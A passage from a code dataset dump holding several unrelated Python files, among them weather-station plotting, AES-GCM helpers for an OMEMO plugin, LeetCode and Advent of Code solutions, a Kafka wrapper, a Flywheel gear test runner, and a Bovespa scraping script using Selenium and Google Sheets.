kml.newpoint(name=station.name, coords=[(station.longitude, station.latitude, station.height)])\n                station_point.altitudemode = simplekml.AltitudeMode.absolute\n                station_point.style.iconstyle.icon.href = 'http://maps.google.com/mapfiles/kml/shapes/target.png'\n\n                if station.active:\n                    station_point.style.iconstyle.color = simplekml.Color.lightgreen\n                else:\n                    station_point.style.iconstyle.color = simplekml.Color.red\n                # end if\n\n                station_point.description = pprint.pformat(station.__dict__, indent=True)\n            # end if\n        # end for\n\n        kml.savekmz('swedish_stations.kmz')\n    # end export_stations()\n\n    def show_timeline(self):\n        station_list = []\n\n        for station in self.station_dict.values():   # type: SwedishStation\n            if (BOX_WEST <= station.longitude <= BOX_EAST) and (BOX_SOUTH <= station.latitude <= BOX_NORTH):\n                station_list.append((\n                    station,\n                    station.from_date,\n                    station.to_date,\n                ))\n            # end if\n        # end for\n\n        station_list = list(sorted(station_list, key=lambda x: x[1], reverse=True))\n\n        fig, ax = pyplot.subplots()\n\n        x_block_list = []\n        y_block_list = []\n\n        for ix, (station, from_date, to_date) in enumerate(station_list):\n            x_block_list.append([from_date, to_date])\n            # y_block_list.append([station.name, station.name])\n            y_block_list.append([ix, ix])\n\n            ax.annotate(station.name, (from_date, ix), ha=\"right\", va='center')\n        # end for\n\n        ax.plot(\n            list(zip(*x_block_list)),\n            list(zip(*y_block_list)),\n            'r', marker='o', mfc='r'\n        )\n\n        # ax.set_yticks([station.name for station, _, _ in station_list])\n\n        xfmt = matplotlib.dates.DateFormatter('%Y-%m')\n        ax.xaxis.set_major_formatter(xfmt)\n\n        pyplot.show()\n    # end show_timeline()\n\n    def air_temperature_url(self, station_id: int, min_max='min'):\n        try:\n            key = self.categories[f'Lufttemperatur {min_max}, 1 gång per dygn']\n        except KeyError:\n            log.error(f\"self.categories: {list(self.categories.keys())}\")\n            raise\n        # end try\n\n        # return f\"https://opendata-download-metobs.smhi.se/api/version/1.0/parameter/{key}/station/{station_id}/period.json\"\n        return f\"https://opendata-download-metobs.smhi.se/api/version/1.0/parameter/{key}/station/{station_id}/period/corrected-archive.json\"\n    # end air_temperature_url()\n\n    def collect_temperature(self, years_back=30.0):\n        for station in self.get_scoped_stations():  # type: SwedishStation\n            print(station)\n\n            url_min = self.air_temperature_url(station.id, 'min')\n            # log.critical(f\"url_min: {url_min}\")\n\n            response = requests.get(\n                url_min,\n                headers={'Content-type': 'application/json'}\n            )\n\n            temperature_data = json.loads(response.content)\n\n            csv_links = temperature_data.get('data')\n\n            for csv_link in csv_links:\n                # print()\n                # pprint.pprint(csv_link)\n\n                for link in csv_link.get('link'):\n                    csv_url = link.get('href')\n\n                    print(f\"csv_url: {csv_url}\")\n                # end for\n            # end for\n\n            break\n        # end for\n    # end collect_temperature()\n# end SwedishWeather\n\n\nif __name__ == '__main__':\n    sw = SwedishWeather.from_pickle()\n    # sw.get_category_info()\n    # sw.show_category_info()\n    # sw.get_stations_info()\n    # sw.save()\n\n    # pprint.pprint(sw.station_info_dict)\n\n    # sw.export_stations()\n    # sw.show_timeline()\n\n    sw.get_category_info(show=False)\n    sw.collect_temperature()\n    sw.save()\n# end if\n","repo_name":"aop007/swedishweather","sub_path":"swedishweather/stations.py","file_name":"stations.py","file_ext":"py","file_size_in_byte":9108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42044351097","text":"import logging\nimport os\n\nfrom cryptography.hazmat.primitives.ciphers import Cipher\nfrom cryptography.hazmat.primitives.ciphers import algorithms\nfrom cryptography.hazmat.primitives.ciphers.modes import GCM\n\n# On Windows we have to import a specific backend because the\n# default_backend() mechanism doesnt work in Gajim for Windows.\n# Its because of how Gajim is build with cx_freeze\n\nif os.name == 'nt':\n    from cryptography.hazmat.backends.openssl import backend\nelse:\n    from cryptography.hazmat.backends import default_backend\n\nlog = logging.getLogger('gajim.plugin_system.omemo')\n\ndef aes_decrypt(_key, iv, payload):\n    \"\"\" Use AES128 GCM with the given key and iv to decrypt the payload. \"\"\"\n    if len(_key) >= 32:\n        # XEP-0384\n        log.debug('XEP Compliant Key/Tag')\n        data = payload\n        key = _key[:16]\n        tag = _key[16:]\n    else:\n        # Legacy\n        log.debug('Legacy Key/Tag')\n        data = payload[:-16]\n        key = _key\n        tag = payload[-16:]\n    if os.name == 'nt':\n        _backend = backend\n    else:\n        _backend = default_backend()\n    decryptor = Cipher(\n        algorithms.AES(key),\n        GCM(iv, tag=tag),\n        backend=_backend).decryptor()\n    return decryptor.update(data) + decryptor.finalize()\n\n\ndef aes_encrypt(key, iv, plaintext):\n    \"\"\" Use AES128 GCM with the given key and iv to encrypt the plaintext. \"\"\"\n    if os.name == 'nt':\n        _backend = backend\n    else:\n        _backend = default_backend()\n    encryptor = Cipher(\n        algorithms.AES(key),\n        GCM(iv),\n        backend=_backend).encryptor()\n    return encryptor.update(plaintext) + encryptor.finalize(), encryptor.tag\n","repo_name":"ReneVolution/profanity-omemo-plugin","sub_path":"src/profanity_omemo_plugin/omemo/aes_gcm_native.py","file_name":"aes_gcm_native.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"35"}
{"seq_id":"38426451741","text":"\"\"\"\nhttps://leetcode.cn/problems/minimum-bit-flips-to-convert-number/\n\n一次 位翻转 定义为将数字 x 二进制中的一个位进行 翻转 操作，即将 0 变成 1 ，或者将 1 变成 0 。\n\n    比方说，x = 7 ，二进制表示为 111 ，我们可以选择任意一个位（包含没有显示的前导 0 ）并进行翻转。\n    比方说我们可以翻转最右边一位得到 110 ，或者翻转右边起第二位得到 101 ，或者翻转右边起第五位（这一位是前导 0 ）得到 10111 等等。\n\n给你两个整数 start 和 goal ，请你返回将 start 转变成 goal 的 最少位翻转 次数。\n\n示例 1：\n    输入：start = 10, goal = 7\n    输出：3\n    解释：10 和 7 的二进制表示分别为 1010 和 0111 。我们可以通过 3 步将 10 转变成 7 ：\n    - 翻转右边起第一位得到：1010 -> 1011 。\n    - 翻转右边起第三位：1011 -> 1111 。\n    - 翻转右边起第四位：1111 -> 0111 。\n    我们无法在 3 步内将 10 转变成 7 。所以我们返回 3 。\n\n示例 2：\n    输入：start = 3, goal = 4\n    输出：3\n    解释：3 和 4 的二进制表示分别为 011 和 100 。我们可以通过 3 步将 3 转变成 4 ：\n    - 翻转右边起第一位：011 -> 010 。\n    - 翻转右边起第二位：010 -> 000 。\n    - 翻转右边起第三位：000 -> 100 。\n    我们无法在 3 步内将 3 变成 4 。所以我们返回 3 。\n\n提示：\n    0 <= start, goal <= 109\n\n\"\"\"\n\n\"\"\"方法一：位运算\"\"\"\nclass Solution:\n    def minBitFlips(self, start: int, goal: int) -> int:\n        res = 0\n        tmp = start ^ goal  # 只对 start 与 goal 数值不同的二进制位执行翻转操作，求出不同的二进制位数量\n        print (tmp)\n        while tmp:          # tmp 的二进制表示中 1 的数量即为 start 与 goal 不同的二进制位数量\n            res += tmp & 1\n            tmp >>= 1\n        return res\n    \nclass Solution:\n    def minBitFlips(self, start: int, goal: int) -> int:\n        return bin(start ^ goal).count(\"1\")\n\nif __name__ == \"__main__\":\n    start = 10\n    goal = 7\n    sol = Solution()\n    result = sol.minBitFlips(start, goal)\n    print (result)","repo_name":"jasonmayday/LeetCode","sub_path":"leetcode_algorithm/1_easy/2220_转换数字的最少位翻转次数.py","file_name":"2220_转换数字的最少位翻转次数.py","file_ext":"py","file_size_in_byte":2214,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"39756637873","text":"#!/usr/bin/env python3\n\nfrom math import inf\nimport re\nimport sys\n\n#target_y = 10\ntarget_y = 2000000\n\nbeacon_xs = set()\n\nranges = []\n\nfor line in sys.stdin:\n  m = re.match('^Sensor at x=(-?\\d+), y=(-?\\d+): closest beacon is at x=(-?\\d+), y=(-?\\d+)$', line)\n  sx, sy, bx, by = map(int, m.groups())\n  range = abs(sx - bx) + abs(sy - by)\n  dx = range - abs(sy - target_y)\n  if dx >= 0:\n    ranges.append((sx - dx, sx + dx))\n  if by == target_y:\n    beacon_xs.add(bx)\n\nranges.sort()\ncovered = 0\nlast_x = -inf\nfor x1, x2 in ranges:\n  if last_x < x2:\n    if last_x < x1:\n      covered += x2 - x1 + 1\n    else:\n      covered += x2 - last_x\n    last_x = x2\nprint(covered - len(beacon_xs))\n","repo_name":"maksverver/AdventOfCode","sub_path":"2022/day15/15-part1.py","file_name":"15-part1.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"28644487316","text":"# 1773. Count Items Matching a Rule\n\nclass Solution:\n    def countMatches(self, items: List[List[str]], ruleKey: str, ruleValue: str) -> int:\n\n        keyIndex = 0;\n        if (ruleKey == 'color'):\n            keyIndex = 1;\n        elif (ruleKey == 'name'):\n            keyIndex = 2;\n\n        counter = 0;\n        for indivItem in items:\n            if (indivItem[keyIndex] == ruleValue):\n                counter += 1;\n\n        return counter;","repo_name":"fida10/pythonPracticeLeet","sub_path":"arrays/Fida/1773.py","file_name":"1773.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10634840358","text":"import json\nimport numpy\nimport pandas\nimport yaml\nfrom kafka.admin import KafkaAdminClient, NewTopic\nfrom kafka import KafkaProducer, KafkaConsumer\nfrom typing import List\n\n\ndef load_configs(path=\"dao/config.yml\"):\n    with open(path, \"r\") as stream:\n        try:\n            config = yaml.safe_load(stream)\n            return config\n        except yaml.YAMLError as exc:\n            print(exc)\n\n\nclass KafkaConnection:\n    def __init__(self, client_id=\"sonmt\"):\n        config = load_configs()\n        bootstrap_servers = config[\"kafka_bootstrap_servers\"]\n        self.bootstrap_servers = bootstrap_servers\n        self.admin_client = KafkaAdminClient(\n            bootstrap_servers=self.bootstrap_servers,\n            client_id=client_id\n        )\n        self.producer = KafkaProducer(bootstrap_servers=self.bootstrap_servers,\n                                      value_serializer=lambda v: json.dumps(v).encode('utf-8'))\n        self.consumer = KafkaConsumer(bootstrap_servers=self.bootstrap_servers)\n\n    def create_new_topic(self, topic_names: str or List[str]):\n        topic_list = []\n        if type(topic_names) == list:\n            for topic in topic_names:\n                topic_list.append(NewTopic(name=topic, num_partitions=1, replication_factor=1))\n\n        if type(topic_names) == str:\n            topic_list = [NewTopic(name=topic_names, num_partitions=1, replication_factor=1)]\n\n        self.admin_client.create_topics(new_topics=topic_list)\n\n    def get_existed_list_topics(self):\n        list_topics = self.consumer.topics()\n        return list(list_topics)\n\n    def produce_df_to_kafka(self, topic: str, df: pandas.DataFrame):\n        existed_list_topics = self.get_existed_list_topics()\n        if topic not in existed_list_topics:\n            self.create_new_topic(topic)\n\n        cols = df.columns\n        row_data = {}\n\n        for ind in df.index:\n            for col in cols:\n                if type(df[col][ind]) is numpy.int64:\n                    row_data[col] = int(df[col][ind])\n                else:\n                    row_data[col] = df[col][ind]\n\n            self.producer.send(topic, row_data)\n\n\n\n","repo_name":"tuantoquq/airflow-dags","sub_path":"dags/dao/kafka_connection.py","file_name":"kafka_connection.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34494866071","text":"\"\"\"Run two versions of the dcm2niix Gear on the same inputs and capture resulting job information.\"\"\"\n\nversions = [\"1.0.0_1.0.20200331\", \"1.2.1_1.0.20201102_dev1\"]\noutput_dir = \"~/Documents/flywheel/gears/dcm2niix/tests/instance\"\n\nimport time\nimport datetime\nimport flywheel\nimport pandas as pd\n\nfw = flywheel.Client()\n\n\ndef main():\n\n    # Find the collection\n    collection = fw.collections.find_one(\"label=dcm2niix_rewrite_test\")\n\n    # Find all the acquisitions in the collection\n    acquisitions = fw.get_collection_acquisitions(collection.id)\n\n    # For each version, run the gear with default config and save the job information\n    for version in versions:\n\n        job_ids = run_dcm2niix_gear(acquisitions, version)\n        # wait for the jobs to finish\n        time.sleep(400)\n        df = collate_job_info(job_ids, version)\n\n        df.reset_index(inplace=True)\n        df.rename(columns={\"index\": \"job_id\"}, inplace=True)\n        date = str(datetime.date.today())\n        outfile = f\"{output_dir}/dcm2niix_instance_runs_{version}_{date}.csv\"\n        df.to_csv(outfile, index=False)\n\n\ndef collate_job_info(job_ids, gear_version):\n\n    df = pd.DataFrame()\n\n    for job_id in job_ids:\n\n        job = fw.get_job(job_id)\n\n        # Save job information\n        df.loc[job_id, \"gear_version\"] = gear_version\n        df.loc[job_id, \"state\"] = job.state\n        df.loc[job_id, \"inputs\"] = job.inputs[\"dcm2niix_input\"][\"name\"]\n        df.loc[job_id, \"destination_id\"] = job.destination[\"id\"]\n\n        # Default behavior of original gear is to not save JSON sidecars\n        outputs = [file for file in job.saved_files if not file.endswith(\".json\")]\n        df.loc[job_id, \"outputs\"] = str(outputs)\n\n        # Calculate time to execute job\n        if job.state == \"complete\":\n            timedelta = job.transitions[\"complete\"] - job.transitions[\"running\"]\n            df.loc[job_id, \"execution_time\"] = timedelta.total_seconds()\n\n    return df\n\n\ndef run_dcm2niix_gear(acquisitions, gear_version):\n\n    gear = fw.lookup(f\"gears/dcm2niix/{gear_version}\")\n    job_ids = []\n\n    for acquisition in acquisitions:\n\n        for file in acquisition.get_files():\n\n            if file.type == \"dicom\":\n\n                inputs = {\"dcm2niix_input\": acquisition.get_file(file.name)}\n\n                job_id = gear.run(\n                    inputs=inputs,\n                    destination=acquisition,\n                    tags=[\"dcm2niix_rewrite_test\"],\n                )\n                job_ids.append(job_id)\n\n    return job_ids\n\n\nmain()\n","repo_name":"flywheel-apps/dcm2niix","sub_path":"tests/instance/submit_instance_runs.py","file_name":"submit_instance_runs.py","file_ext":"py","file_size_in_byte":2526,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"40017992808","text":"# create a 300x300 canvas.\n# fill it with a checkerboard pattern.\n\nfrom tkinter import *\n\nroot = Tk()\n\ncanvas_width= 300\ncanvas_height= 300\n\ncanvas = Canvas(root, width = canvas_width, height = canvas_height)\ncanvas.pack()\n\n\nx = 1\nfor i in range(1, 28):\n    rect = canvas.create_rectangle(1+x, 1+x, 10+x, 10+x, fill='purple')\n    x += 11\n\nroot.mainloop()\n","repo_name":"greenfox-velox/DDL","sub_path":"week-04/day5/r1.py","file_name":"r1.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38461502403","text":"# -*- encoding: utf-8 -*-\n# pip install --upgrade virtualenv google-api-python-client google-auth-httplib2 google-auth-oauthlib gspread oauth2client\n# https://github.com/faustostangler/b3-bovespa/edit/master/allinone.py\n\n# selenium\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import Select\n\n# datetime\nfrom datetime import datetime\nfrom datetime import timedelta\nimport time\n\n# google\nimport pickle\nimport os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\n\nimport re\n\n\n# back-to-basics\ndef user_defined_variables():\n    try:\n        # browser path\n        global base_azevedo\n        global base_note\n        global base_hbo\n        global chrome\n        global firefox\n\n        base_azevedo = 'C:/Users/faust/PycharmProjects/'\n        base_note = 'C:/Users/Fausto Stangler/PycharmProjects/b3A-companies/'\n        base_hbo = 'C:/Users/Fausto/PycharmProjects/b3A-companies/'\n        chrome = 'chromedriver.exe'\n        firefox = 'firefox.exe'\n\n        # main page and sheet and cvm base URLs\n        global main_url\n        global sheet_url\n        global cvm_url\n        main_url = 'http://bvmf.bmfbovespa.com.br/cias-listadas/empresas-listadas/BuscaEmpresaListada.aspx?idioma=pt-br'\n        sheet_url = 'https://docs.google.com/spreadsheets/d/'\n        cvm_url = 'http://bvmf.bmfbovespa.com.br/pt-br/mercados/acoes/empresas/ExecutaAcaoConsultaInfoEmp.asp?CodCVM='\n\n        # ID of Google Sheet to store list of companies\n        global index_sheet\n        index_sheet = '1AZzuxXbhmDbp5hFOcvYPZK0zYh91uofX7Ry0DcIvIdk'\n\n        # ID of Google Sheet Template for new company sheets\n        global report_sheet\n        global fundament_sheet\n        global default_sheets\n        report_sheet = '1Bn9t20r3czSiqK4S76bd7oL1UCthmDnPw32GMhU1k1s' # MODELO REPORT\n        fundament_sheet = '1R5YOiJOWGhjgvEQdtst_PqrPMeGLV1qe9imjA4lk6mg' # MODELO FUNDAMENTOS\n\n        default_sheets = ['INDEX']  # , 'F-WEB', 'F', 'Glossário', 'blasterlista', 'quotes']\n\n        # google API factor of true\n        global google\n        google = False\n\n        # google_sheet API authorization - see https://console.developers.google.com/\n        global CLIENT_SECRET_FILE\n        global ACCOUNT_SECRET_FILE\n        global SHEET_SCOPE\n        CLIENT_SECRET_FILE = 'client_credentials.json'\n        ACCOUNT_SECRET_FILE = 'account_credentials.json'\n        SHEET_SCOPE = ['https://spreadsheets.google.com/feeds', 'https://www.googleapis.com/auth/drive']\n\n        # google drive API authorization - see https://console.developers.google.com/\n        global CLIENT_EMAIL\n        global DRIVE_SCOPE\n        CLIENT_EMAIL = 'dre-empresas-listadas-bot@dre-empresas-listadas-b3.iam.gserviceaccount.com'\n        DRIVE_SCOPE = ['https://www.googleapis.com/auth/drive']\n\n        # pre-defined quantities\n        global batch_companies\n        batch_companies = 500\n\n        global batch_reports\n        batch_reports = 1\n\n        # reports from b3\n        global parts\n        global url\n        parts = [['Dados', 'Dados da Empresa', 'Composição do Capital'],\n                 ['DRE', 'DFs Individuais', 'Balanço Patrimonial Ativo'],\n                 ['DRE', 'DFs Individuais', 'Balanço Patrimonial Passivo'],\n                 ['DRE', 'DFs Individuais', 'Demonstração do Resultado'],\n                 ['DRE', 'DFs Individuais', 'Demonstração do Resultado Abrangente'],\n                 ['DRE', 'DFs Individuais', 'Demonstração do Fluxo de Caixa'],\n                 ['DRE', 'DFs Individuais', 'Demonstração de Valor Adicionado'],\n                 ['DRE', 'DFs Consolidadas', 'Balanço Patrimonial Ativo'],\n                 ['DRE', 'DFs Consolidadas', 'Balanço Patrimonial Passivo'],\n                 ['DRE', 'DFs Consolidadas', 'Demonstração do Resultado'],\n                 ['DRE', 'DFs Consolidadas', 'Demonstração do Resultado Abrangente'],\n                 ['DRE', 'DFs Consolidadas', 'Demonstração do Fluxo de Caixa'],\n                 ['DRE', 'DFs Consolidadas', 'Demonstração de Valor Adicionado']]\n        url = ''\n\n        global DRE\n        DRE = ''\n\n    except Exception as e:\n        restart(e, __name__)\ndef startEngine():\n    try:\n        global browser\n        global wait\n\n        print('BROWSER start')\n        # load browser and general parameters\n        try:\n            browser = webdriver.Chrome(executable_path=base_azevedo + chrome)\n        except:\n            pass\n        try:\n            browser = webdriver.Chrome(executable_path=base_note + chrome)\n        except:\n            pass\n        try:\n            browser = webdriver.Chrome(executable_path=base_hbo + chrome)\n        except:\n            pass\n        wait = WebDriverWait(browser, 60)\n        browser.minimize_window()\n\n        print('...done')\n    except Exception as e:\n        restart(e, __name__)\ndef googleAPI():\n    try:\n        global gdrive\n\n        print('GOOGLE API authorization')\n\n        # google drive authorization\n        creds = None\n        if os.path.exists('token.pickle'):\n            with open('token.pickle', 'rb') as token:\n                creds = pickle.load(token)\n        # If there are no (valid) credentials available, let the user log in.\n        if not creds or not creds.valid:\n            if creds and creds.expired and creds.refresh_token:\n                creds.refresh(Request())\n            else:\n                flow = InstalledAppFlow.from_client_secrets_file(CLIENT_SECRET_FILE, DRIVE_SCOPE)\n                creds = flow.run_local_server(port=0)\n            # Save the credentials for the next run\n            with open('token.pickle', 'wb') as token:\n                pickle.dump(creds, token)\n        gdrive = build('drive', 'v3', credentials=creds)\n\n        # google sheet authorization\n        global gsheet\n        credentials = ServiceAccountCredentials.from_json_keyfile_name(ACCOUNT_SECRET_FILE, SHEET_SCOPE)\n        gsheet = gspread.authorize(credentials)\n\n        loadSheets()\n\n        print('...done')\n        return True\n    except Exception as e:\n        print('google API error... restarting')\n        google = googleAPI()\ndef loadSheets():\n    try:\n        # sheet worksheets\n        global bovespa\n        global bovespa_listagem\n        global bovespa_log\n\n        bovespa = gsheet.open_by_key(index_sheet)\n        bovespa_listagem = bovespa.worksheet('listagem')\n        bovespa_log = bovespa.worksheet('log')\n    except Exception as e:\n        restart(e, __name__)\ndef loadCompanyReportsSheets(company):\n    try:\n        global report_sheet_index\n        global report_sheet_reports\n\n        company_sheet_report = gsheet.open_by_key(company [col ['REPORTS']].replace(sheet_url, ''))\n        report_sheet_index = company_sheet_report.worksheet('index')\n        report_sheet_reports = company_sheet_report.worksheet('reports')\n\n    except Exception as e:\n        restart(e, __name__)\ndef loadCompanyFundamentosSheets(company):\n    try:\n        global fundamentos_sheet_index\n        global fundamentos_sheet_reports\n\n        company_sheet_fundamentos = gsheet.open_by_key(company [col ['FUNDAMENTOS']].replace(sheet_url, ''))\n        fundamentos_sheet_index = company_sheet_fundamentos.worksheet('index')\n        fundamentos_sheet_reports = company_sheet_fundamentos.worksheet('reports')\n\n    except Exception as e:\n        restart(e, __name__)\ndef list_unique(li1, li2):\n    try:\n        li3 = []\n        [li3.append(i) for i in li1 + li2 if i not in li3]\n        return li3\n    except Exception as e:\n        restart(e, __name__)\ndef list_remove_extra(li1, li2):\n    try:\n        li3 = [i for i in li1 if i not in li2]\n        return li3\n    except Exception as e:\n        restart(e, __name__)\ndef list_difference(li1, li2):\n    try:\n        li_dif = [i for i in li1 + li2 if i not in li1 or i not in li2]\n        return li_dif\n    except Exception as e:\n        restart(e, __name__)\ndef list_intersection(li1, li2):\n    try:\n        li3 = [value for value in li1 if value in li2]\n        return li3\n    except Exception as e:\n        restart(e, __name__)\ndef sheetCol(n):\n    try:\n        string = ''\n        while n > 0:\n            n, remainder = divmod(n - 1, 26)\n            string = chr(65 + remainder) + string\n        return string\n    except Exception as e:\n        restart(e, __name__)\ndef sheetRange(start_row, start_col, data):\n    try:\n        range1 = str(sheetCol(start_col)) + str(start_row)\n        range2 = str(sheetCol(start_col + len(data [0]) - 1)) + str(len(data) + start_row - 1)\n        sheet_range = range1 + ':' + range2\n        return sheet_range\n    except Exception as e:\n        restart(e, __name__)\ndef sheetColumns(sheet_columns):\n    try:\n        global col\n        col = {k: v for v, k in enumerate(sheet_columns)}\n        # print(col ['EMPRESA'])\n        return sheet_columns\n    except Exception as e:\n        restart(e, __name__)\ndef sheetCompany():\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n        loadSheets()\n\n        print('LOAD sheet of companies')\n\n        # get planilha all values\n        try:\n            sheet_companies = []\n            sheet_companies = bovespa_listagem.get_all_values()\n            sheet_columns = sheetColumns(sheet_companies.pop(0))\n        except:\n            print('sheet_of_companies =', sheet_companies)\n        print('...done')\n        return sheet_companies\n    except Exception as e:\n        restart(e, __name__)\ndef b3Company():\n    try:\n        b3_companies = []\n        # b3_companies = [['16284', '524 PARTICIP', '524 PARTICIPACOES S.A.', 'MB'],\n        #                 ['21725', 'ADVANCED-DH', 'ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.', ' '],\n        #                 ['18970', 'AES TIETE E', 'AES TIETE ENERGIA SA', 'N2'],\n        #                 ['22179', 'AFLUENTE T', 'AFLUENTE TRANSMISSÃO DE ENERGIA ELÉTRICA S/A', ' ']]\n        # b3_companies = [['16284', '524 PARTICIP', '524 PARTICIPACOES S.A.', 'MB'],\n        #                 ['21725', 'ADVANCED-DH', 'ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.', ' '],\n        #                 ['18970', 'AES TIETE E', 'AES TIETE ENERGIA SA', 'N2'],\n        #                 ['22179', 'AFLUENTE T', 'AFLUENTE TRANSMISSÃO DE ENERGIA ELÉTRICA S/A', ' '],\n        #                 ['16705', 'ALEF S/A', 'ALEF S.A.', 'MB'], ['9954', 'ALFA HOLDING', 'ALFA HOLDINGS S.A.', ' '],\n        #                 ['21032', 'ALGAR TELEC', 'ALGAR TELECOM S/A', ' '],\n        #                 ['22357', 'ALIANSCSONAE', 'ALIANSCE SONAE SHOPPING CENTERS S.A.', 'NM'],\n        #                 ['24953', 'ESTAPAR', 'ALLPARK EMPREENDIMENTOS PARTICIPACOES SERVICOS S.A', 'NM'],\n        #                 ['10456', 'ALPARGATAS', 'ALPARGATAS S.A.', 'N1'],\n        #                 ['22217', 'ALPER S.A.', 'ALPER CONSULTORIA E CORRETORA DE SEGUROS S.A.', 'NM'],\n        #                 ['18066', 'ALTERE SEC', 'ALTERE SECURITIZADORA S.A.', ' '],\n        #                 ['21490', 'ALUPAR', 'ALUPAR INVESTIMENTO S/A', 'N2'], ['23264', 'AMBEV S/A', 'AMBEV S.A.', ' '],\n        #                 ['3050', 'AMPLA ENERG', 'AMPLA ENERGIA E SERVICOS S.A.', ' '],\n        #                 ['23248', 'ANIMA', 'ANIMA HOLDING S.A.', 'NM'],\n        #                 ['22349', 'AREZZO CO', 'AREZZO INDÚSTRIA E COMÉRCIO S.A.', 'NM'],\n        #                 ['24171', 'CARREFOUR BR', 'ATACADÃO S.A.', 'NM'],\n        #                 ['19100', 'ATMASA', 'ATMA PARTICIPAÇÕES S.A.', 'NM'],\n        #                 ['15423', 'ATOMPAR', 'ATOM EMPREENDIMENTOS E PARTICIPAÇÕES S.A.', ' '],\n        #                 ['11975', 'AZEVEDO', 'AZEVEDO E TRAVASSOS S.A.', ' '], ['24112', 'AZUL', 'AZUL S.A.', 'N2'],\n        #                 ['20990', 'B2W DIGITAL', 'B2W - COMPANHIA DIGITAL', 'NM'],\n        #                 ['21610', 'B3', 'B3 S.A. - BRASIL. BOLSA. BALCÃO', 'NM'],\n        #                 ['701', 'BAHEMA', 'BAHEMA EDUCAÇÃO S.A.', 'MA'], ['24600', 'BANCO BMG', 'BANCO BMG S.A.', 'N1'],\n        #                 ['24406', 'BANCO INTER', 'BANCO INTER S.A.', 'N2'],\n        #                 ['1155', 'BANESTES', 'BANESTES S.A. - BCO EST ESPIRITO SANTO', ' '],\n        #                 ['1520', 'BARDELLA', 'BARDELLA S.A. INDUSTRIAS MECANICAS', ' '],\n        #                 ['15458', 'BATTISTELLA', 'BATTISTELLA ADM PARTICIPACOES S.A.', ' '],\n        #                 ['1562', 'BAUMER', 'BAUMER S.A.', ' '],\n        #                 ['23159', 'BBSEGURIDADE', 'BB SEGURIDADE PARTICIPAÇÕES S.A.', 'NM'],\n        #                 ['24660', 'BBMLOGISTICA', 'BBM LOGISTICA S.A.', 'MA'],\n        #                 ['20958', 'ABC BRASIL', 'BCO ABC BRASIL S.A.', 'N2'],\n        #                 ['1384', 'ALFA INVEST', 'BCO ALFA DE INVESTIMENTO S.A.', ' '],\n        #                 ['922', 'AMAZONIA', 'BCO AMAZONIA S.A.', ' '], ['906', 'BRADESCO', 'BCO BRADESCO S.A.', 'N1'],\n        #                 ['1023', 'BRASIL', 'BCO BRASIL S.A.', 'NM'],\n        #                 ['22616', 'BTGP BANCO', 'BCO BTG PACTUAL S.A.', 'N2'],\n        #                 ['1120', 'BANESE', 'BCO ESTADO DE SERGIPE S.A. - BANESE', ' '],\n        #                 ['1171', 'BANPARA', 'BCO ESTADO DO PARA S.A.', ' '],\n        #                 ['1210', 'BANRISUL', 'BCO ESTADO DO RIO GRANDE DO SUL S.A.', 'N1'],\n        #                 ['20885', 'INDUSVAL', 'BCO INDUSVAL S.A.', 'N2'],\n        #                 ['1309', 'MERC INVEST', 'BCO MERCANTIL DE INVESTIMENTOS S.A.', ' '],\n        #                 ['1325', 'MERC BRASIL', 'BCO MERCANTIL DO BRASIL S.A.', ' '],\n        #                 ['1228', 'NORD BRASIL', 'BCO NORDESTE DO BRASIL S.A.', ' '],\n        #                 ['21199', 'BANCO PAN', 'BCO PAN S.A.', 'N1'], ['20567', 'PINE', 'BCO PINE S.A.', 'N2'],\n        #                 ['20532', 'SANTANDER BR', 'BCO SANTANDER (BRASIL) S.A.', ' '],\n        #                 ['19747', 'BETA SECURIT', 'BETA SECURITIZADORA S.A.', ' '],\n        #                 ['17884', 'BETAPART', 'BETAPART PARTICIPACOES S.A.', 'MB'],\n        #                 ['1694', 'BIC MONARK', 'BICICLETAS MONARK S.A.', ' '], ['19305', 'BIOMM', 'BIOMM S.A.', 'MA'],\n        #                 ['22845', 'BIOSEV', 'BIOSEV S.A.', 'NM'],\n        #                 ['80179', 'BIOTOSCANA', 'BIOTOSCANA INVESTMENTS S.A.', 'DR3'],\n        #                 ['24317', 'BK BRASIL', 'BK BRASIL OPERAÇÃO E ASSESSORIA A RESTAURANTES SA', 'NM'],\n        #                 ['16772', 'BNDESPAR', 'BNDES PARTICIPACOES S.A. - BNDESPAR', 'MB'],\n        #                 ['12190', 'BOMBRIL', 'BOMBRIL S.A.', ' '],\n        #                 ['19909', 'BR MALLS PAR', 'BR MALLS PARTICIPACOES S.A.', 'NM'],\n        #                 ['19925', 'BR PROPERT', 'BR PROPERTIES S.A.', 'NM'],\n        #                 ['19640', 'BRADESCO LSG', 'BRADESCO LEASING S.A. ARREND MERCANTIL', ' '],\n        #                 ['18724', 'BRADESPAR', 'BRADESPAR S.A.', 'N1'],\n        #                 ['21180', 'BR BROKERS', 'BRASIL BROKERS PARTICIPACOES S.A.', 'NM'],\n        #                 ['20036', 'BRASILAGRO', 'BRASILAGRO - CIA BRAS DE PROP AGRICOLAS', 'NM'],\n        #                 ['4820', 'BRASKEM', 'BRASKEM S.A.', 'N1'],\n        #                 